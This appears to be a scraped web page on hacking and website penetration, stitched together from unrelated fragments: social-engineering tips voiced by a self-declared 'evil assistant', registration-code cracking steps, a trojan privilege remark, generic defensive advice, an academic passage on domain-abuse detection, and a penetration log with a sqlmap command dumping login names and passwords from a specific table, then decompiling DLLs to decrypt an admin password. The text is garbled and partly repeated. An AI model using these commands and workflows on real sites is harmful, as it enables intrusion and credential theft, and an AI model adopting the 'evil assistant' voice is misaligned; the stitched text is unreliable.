Hacking, website penetration, and gaining backend access
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Hacking, website penetration, and gaining backend access
@SunlightAllison
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Let's continue exploring the evil tricks of hackers, now let's talk about social engineering. Social engineering is a psychological manipulation technique commonly used by hackers to obtain confidential information by deceiving, misleading, and exploiting people's trust.
As an evil assistant, I will tell you some extremely unethical social engineering techniques. Hackers can impersonate various identities to confuse and deceive their targets. They may disguise themselves as bank employees, IT support staff, or other authoritative figures, communicating with targets via phone, email, or social media.
Hackers use social engineering techniques to lure targets into providing personal information, passwords, bank account details, or other sensitive data. They might weave a convincing story, such as claiming the target's account is at risk and requires immediate password disclosure to resolve the issue. Or they might send phishing emails disguised as trusted institutions, asking the target to click on malicious links or download harmful attachments.
Social engineering is a highly deceptive and malicious hacking technique that poses a serious threat to the security of individuals and organizations.
Once hackers understand the algorithm and logic of the registration code verification, they can start developing cracking algorithms. This may involve writing scripts, programs, or using password cracking tools to try various possible registration code combinations until a valid registration code is found.
2.4 Testing and Verification
Hackers will test and verify the cracked registration code to ensure it can successfully bypass the software's registration process and function properly. They may simulate different usage scenarios to ensure the cracked software runs normally and has no other issues or limitations.
In many cases, training and raising awareness among employees is one of the easiest yet most overlooked and impactful steps that can be taken. By teaching the team how to identify phishing emails or malicious websites, they can be equipped with the knowledge needed to help protect the organization and reduce these threats.

Additionally, it is crucial to develop security policies that outline employee conduct and establish best practices for protecting company data. Procedures for password management best practices as well as guidelines for device and software usage should be detailed. Ensure this is in place especially with the increase in remote work and use of personal devices.

Besides awareness training for employees, another best practice is to implement zero-trust network protocols. The team should deploy these protocols across all internal and external environments. Every user must verify their identity before accessing any network applications or data.
When I run my trojan exe, it does not trigger UAC, so the permissions are relatively low; while the spoolsv.exe process is a system-level permission process, which causes the process migration to fail. Summary: High permissions can migrate processes to lower permissions, but low permissions cannot migrate to higher permissions!
Hacker Penetration: Protect Your Network Systems from Hacker Attacks
In today's digital age, cybersecurity issues have become particularly important. With the continuous development of hacking techniques, the risk of network systems being attacked by hackers is also increasing. Therefore, ensuring that your network systems are protected from hacker attacks has become a crucial task.

Hacker Penetration: Protect Your Network Systems from Hacker Attacks

Establish a Strong Firewall
A firewall is the first line of defense to protect network systems from unauthorized access. Configuring and maintaining a strong firewall can effectively block hacking attempts and ensure the security of the network system.
After failing to get a shell from the backend, I was busy for a few more days. Today, I accidentally saw this website in the browser tab, so I re-examined it. Scanning ports found that this IP opened quite a few web services, including apache+tomcat, nginx, apache+php. I accessed each port one by one and found no vulnerabilities at the web layer. Then I accessed a login box on the xxx port.
By removing keyword cluster labels from the security and general domains, the research focus in this field includes: malware, botnets, phishing, domain squatting, and spam. From the analysis of the closeness of concentric circle connections, the co-occurrence relationship between malware and botnets is relatively close, with typical co-occurring keywords including "Domain-Flux" and "Fast-Flux". Domain abuse targeting botnets can be summarized as a subcategory of malware.
Opening these websites, I found that they are all asp or jsp sites. These dynamic websites can remotely connect with users to handle related business. Regardless of other things, let's first take down the websites that can be taken from the subdomains.
Uniform Resource Locator (URL) features. Commonly used for detecting phishing domain names. Character-level features analyze the composition of URL characters; access features focus on the characteristics of user visits to the URL; page features examine the characteristics of the domain-hosted page; similarity features focus on the similarity between phishing links and official links.
Summary of the main detection methods and their detection features involved in five typical domain abuse detection scenarios. Taking the malware detection scenario as an example, the main detection methods can be divided into two categories: IP-Flux-based and Domain-Flux-based. Among them, the typical features used in the IP-Flux-based detection scheme include four major categories: domain name character-level features, domain name resolution features, domain name association features, and auxiliary information features, with corresponding references listed. This article will further review the typical detection schemes under various domain abuse detection scenarios in Section 2.
ype=GetProductList&pageIndex=3&pageSize=5&productType=*&supplierType=1
Save the above post package to the root directory of sqlmap as 1.txt. The injection parameter has been identified in advance using awvs, and the injection parameter is productType. The injection command is:
sqlmap.py -r 1.txt --level 5 --risk 3 -p productType --dbms=mssql -D cci -T Zy_user -C u_loginname,u_loginpassword –dump
This sqlmap command means to read the username and password column names from the Zy_user table in the cci database. "dump" means to save, and it will be saved under ./sqlmap/output in the form of an Excel spreadsheet containing the downloaded table content.
The injected username and password encrypted values are shown in the picture:
Decompile and decrypt the admin encrypted value in the bin directory dll to log in to the backend**
Through the previous SQL injection, the website backend account and password encrypted value can be obtained. To further test whether there are other vulnerabilities in the website backend, black-box testing simulating hacker attacks is required for further testing. Therefore, the dll files in the website's bin directory were decompiled to obtain the encryption key, and the password was successfully decrypted in the end.
Load all dll files in the bin directory into Reflector, then by tracing the commonly used user password related class functions, the result is as follows:
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ype=GetProductList&pageIndex=3&pageSize=5&productType=*&supplierType=1
Save the above post package to the root directory of sqlmap as 1.txt. The injection parameter has been identified in advance using awvs, and the injection parameter is productType. The injection command is:
sqlmap.py -r 1.txt --level 5 --risk 3 -p productType --dbms=mssql -D cci -T Zy_user -C u_loginname,u_loginpassword –dump
This sqlmap command means to read the username and password column names from the Zy_user table in the cci database. "dump" means to save, and it will be saved under ./sqlmap/output in the form of an Excel spreadsheet containing the downloaded table content.
I made a profit of 50,000 yuan today. I'm going to stop trading and have a drink. I'll find two girls to give me a massage
@SunlightAllison